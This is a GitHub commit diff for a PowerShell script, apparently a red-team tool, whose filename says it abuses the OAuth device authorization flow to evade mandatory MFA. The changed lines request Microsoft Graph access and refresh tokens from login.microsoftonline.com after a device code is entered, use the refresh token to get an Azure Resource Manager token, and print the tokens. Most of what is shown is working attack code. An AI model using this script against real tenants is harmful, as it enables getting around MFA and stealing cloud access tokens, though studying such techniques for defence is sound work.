Skip to content

Commit eff8950

Browse files
authored
Update abuse_Device_Authorization_flow_to_evade_mandatory_MFA.ps1
1 parent eb3eac8 commit eff8950

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

generic/abuse_Device_Authorization_flow_to_evade_mandatory_MFA.ps1

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ $authResponse
1111
#Sleep to give time to enter code in Browser
1212
Sleep 60
1313

14-
#2) to request refresh token and access token for the Graph API:
14+
Write-Host " request refresh token and access token for the Graph API" -ForegroundColor Green
1515
$GrantType = "urn:ietf:params:oauth:grant-type:device_code"
1616
$body=@{
1717
"client_id" = $ClientID
@@ -22,7 +22,7 @@ $Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.mi
2222
$Tokens
2323
$GraphToken = $Tokens.access_token
2424

25-
#request access token for the ARM API
25+
Write-Host "request access token for the ARM API.." -ForegroundColor Green
2626
$scope = 'https://management.azure.com/.default'
2727
$refresh_token = $tokens.refresh_token
2828
$GrantType = 'refresh_token'
@@ -34,3 +34,4 @@ $body=@{
3434
}
3535
$Token_output = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body
3636
$token = $Token_output.access_token
37+
$token

0 commit comments

Comments
 (0)